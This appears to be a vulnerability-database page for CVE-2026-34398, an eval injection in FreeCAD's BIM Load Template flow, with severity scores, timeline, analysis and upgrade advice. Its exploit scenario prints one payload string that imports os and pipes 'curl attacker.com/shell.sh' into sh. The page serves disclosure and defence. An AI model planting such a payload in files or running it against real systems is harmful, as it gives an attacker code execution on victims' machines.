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FreeCAD BIM CVE-2026-34398

| EUVDEUVD-2026-60457 HIGH
Eval Injection (CWE-95)
2026-08-17 GitHub_M
7.8
CVSS 3.1 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI
7.8 HIGH

File-borne local delivery and mandatory user interaction are the only constraints; no target privileges needed; arbitrary code execution yields complete CIA impact.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Aug 17, 2026 - 22:03 EUVD
Source Code Evidence Fetched
Aug 17, 2026 - 21:33 vuln.today
Analysis Generated
Aug 17, 2026 - 21:33 vuln.today
CVE Published
Aug 17, 2026 - 20:51 cve.org
HIGH 7.8

DescriptionCVE.org

FreeCAD is a free and open-source multiplatform 3D parametric modeler. From 0.19 until 1.1.1, src/Mod/BIM/bimcommands/BimProjectManager.py in the BIM Project Manager Load Template flow passes attacker-controlled FCStd Meta property values for wpposition, wpu, wpv, and wpaxis directly to eval(), allowing arbitrary Python code execution when a user loads a malicious BIM project template. This issue is fixed in version 1.1.1.

AnalysisAI

Arbitrary Python code execution in FreeCAD's BIM module (versions 0.19 through pre-1.1.1) is triggered when a user opens a malicious project template file through the BIM Project Manager's Load Template function. The loadTemplate() method in BimProjectManager.py passes FCStd metadata fields (wpposition, wpu, wpv, wpaxis) directly to Python's built-in eval(), enabling an attacker who can deliver a crafted template to achieve full code execution under the victim's user account. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft FCStd template with Python payload in wpposition field
Delivery
Deliver file via phishing or shared project repository
Exploit
Victim opens FreeCAD BIM and invokes Load Template
Execution
loadTemplate() calls eval() on attacker-controlled metadata
Persist
Arbitrary Python executes as victim OS user
Impact
Full system access achieved

Vulnerability AssessmentAI

Exploitation Exploitation requires: (1) the victim is running FreeCAD 0.19 through 1.1.0 with the BIM module loaded; (2) the victim explicitly opens a malicious FCStd BIM project template through the BIM Project Manager Load Template function, triggering the loadTemplate() method in src/Mod/BIM/bimcommands/BimProjectManager.py; (3) the malicious template contains attacker-controlled Python expressions embedded in any of the FCStd Meta properties wpposition, wpu, wpv, or wpaxis. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 7.8 score with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H accurately reflects a file-borne code execution flaw - high impact but constrained by local delivery and mandatory user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious FCStd project template file embedding arbitrary Python code - for example, a reverse shell or credential-harvesting script - in the wpposition metadata field as a string like 'Vector(__import__("os").system("curl attacker.com/shell.sh|sh"),0,0)'. The file is delivered to a FreeCAD BIM user via a phishing email or embedded in a collaborative project repository. …
Remediation Upgrade to FreeCAD 1.1.1, the confirmed patched release available at https://github.com/FreeCAD/FreeCAD/releases/tag/1.1.1. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: inventory all FreeCAD installations across the organization, focusing on versions 0.19 through pre-1.1.1, and identify BIM module usage. …

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CVE-2026-34398 vulnerability details – vuln.today

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